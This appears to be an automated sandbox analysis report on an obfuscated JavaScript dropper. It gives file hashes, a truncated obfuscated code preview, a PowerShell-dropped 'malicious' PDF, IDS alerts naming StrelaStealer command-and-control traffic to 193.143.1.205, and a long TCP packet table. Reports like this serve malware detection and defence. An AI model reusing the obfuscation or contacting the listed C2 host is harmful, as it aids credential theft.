Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15815), with CRLF line terminators
Entropy (8bit):	4.923347390484017
TrID:
File name:	14551240011188825169.js
File size:	19'269 bytes
MD5:	e1cc0285518a61749987df88d97a028f
SHA1:	106bebb5c190ce172030aee1df952aec41027bce
SHA256:	170306df2beb117b2a5629f83149d8c9bec6c78ac76f544784ad462455cbf742
SHA512:	5fc3a0a446400f020b361cf2f8be3fb190009cadd8980905e45243fc62c331b1130b147b7b164ac2f11ba72ce5deb234366ecb2b6b54af9e073cc2a09bc6a803
SSDEEP:	384:CwokUjMi6YhZDy7XPG7pHkGcEqkRdp73UmRosP:CwxdY7wXPMB9cEqup73UDsP
TLSH:	2E8296C9F507FF9387E815F0051A068F71AC1BEC9AE1CDAD9446BA140E4AC77A8F5878
File Content Preview:	function acahrnta(){xigbnzp=[1031,3079,5127,4103,2055,3072];var uexwcwbe=this[lzyutccd+ysygyed+vvmhpbtny+bhgzs+lxhbz+apshndzhv+txepjz+cvcti](this[yhposzl+dloffv+invpc+vvmhpbtny+wivmbyqkg+lzyutccd+cvcti][ghyxq+vvmhpbtny+lxhbz+ysygyed+cvcti+lxhbz+onhvlwqgx+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:31:37.205071+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T08:31:37.205071+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T08:31:40.519736+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49712	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:31:36.401046038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:36.405993938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:36.406078100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:36.409137011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:36.413933039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.204947948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.204972029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.204988956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205070972 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.205074072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205091000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205106974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205123901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205132008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.205157995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.205257893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205274105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205290079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.205435991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.205435991 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.209984064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.254102945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.262530088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.262545109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.262667894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.322231054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322263956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322334051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322341919 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.322370052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322472095 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.322613955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322643995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322722912 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.322830915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322866917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322900057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.322937965 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.323244095 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.323278904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.323297024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.323344946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.323378086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.323411942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.323484898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.323484898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.324059010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.324110985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.324146032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.324172020 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.324269056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.324306011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.324608088 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.325012922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.325047970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.325081110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.325114965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.325128078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.325161934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.327284098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.327339888 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.390336037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.424175024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.424211979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.424247980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.424264908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.424277067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.424348116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.440520048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440560102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440577984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440577984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.440644026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440646887 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.440680027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440696955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440745115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440784931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440800905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.440824986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.440824986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.440876007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.440960884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441003084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441019058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441055059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441157103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441184044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441199064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441241980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441241980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441366911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441385984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441483021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441508055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441520929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441524029 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441605091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441684961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441703081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441755056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441771030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441793919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441809893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.441837072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441837072 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.441838026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442260027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442276001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442291975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442317009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442416906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442431927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442447901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442452908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442464113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442498922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442518950 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442694902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442732096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442747116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442851067 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442873001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442938089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442945957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.442955017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.442971945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.443000078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.443069935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.443084955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.443100929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.443114042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.443125010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.443140030 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.477072954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.477112055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.477138996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.477148056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.477205992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.510996103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.541665077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.541685104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.541706085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.541711092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.541722059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.541738033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.541762114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.541826963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.541846037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563477993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563529015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563569069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563602924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563618898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.563618898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.563637972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563673019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563690901 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.563709021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563741922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563776016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563810110 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563827038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.563827038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.563843966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563862085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563899040 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563924074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.563931942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563966036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.563998938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564030886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564038038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564038038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564065933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564086914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564100981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564133883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564155102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564172983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564205885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564240932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564241886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564274073 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564307928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564336061 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564341068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564374924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564405918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564440966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564472914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564485073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564485073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564485073 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564507008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564538956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564575911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564614058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564625025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564625025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564650059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564682007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564716101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564749002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564780951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564790964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564790964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564812899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564829111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564847946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564881086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564915895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564929962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564948082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.564961910 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.564981937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565015078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565026045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565047979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565083027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565115929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565138102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565150976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565176964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565187931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565222025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565256119 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565279961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565288067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565321922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565321922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565355062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565388918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565392017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565422058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565447092 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565454960 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565489054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565521955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565541029 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565553904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565587997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565619946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565639019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565639019 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.565654993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.565694094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.570522070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.570549011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.570616007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.570632935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.570668936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.571118116 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.578784943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.597856045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.597876072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.597892046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.598539114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.628480911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628535986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628571987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628622055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628652096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.628658056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628684998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:31:37.628711939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628746033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628797054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:31:37.628808022 CET	49710	80	192.168.2.6	193.143.1.205
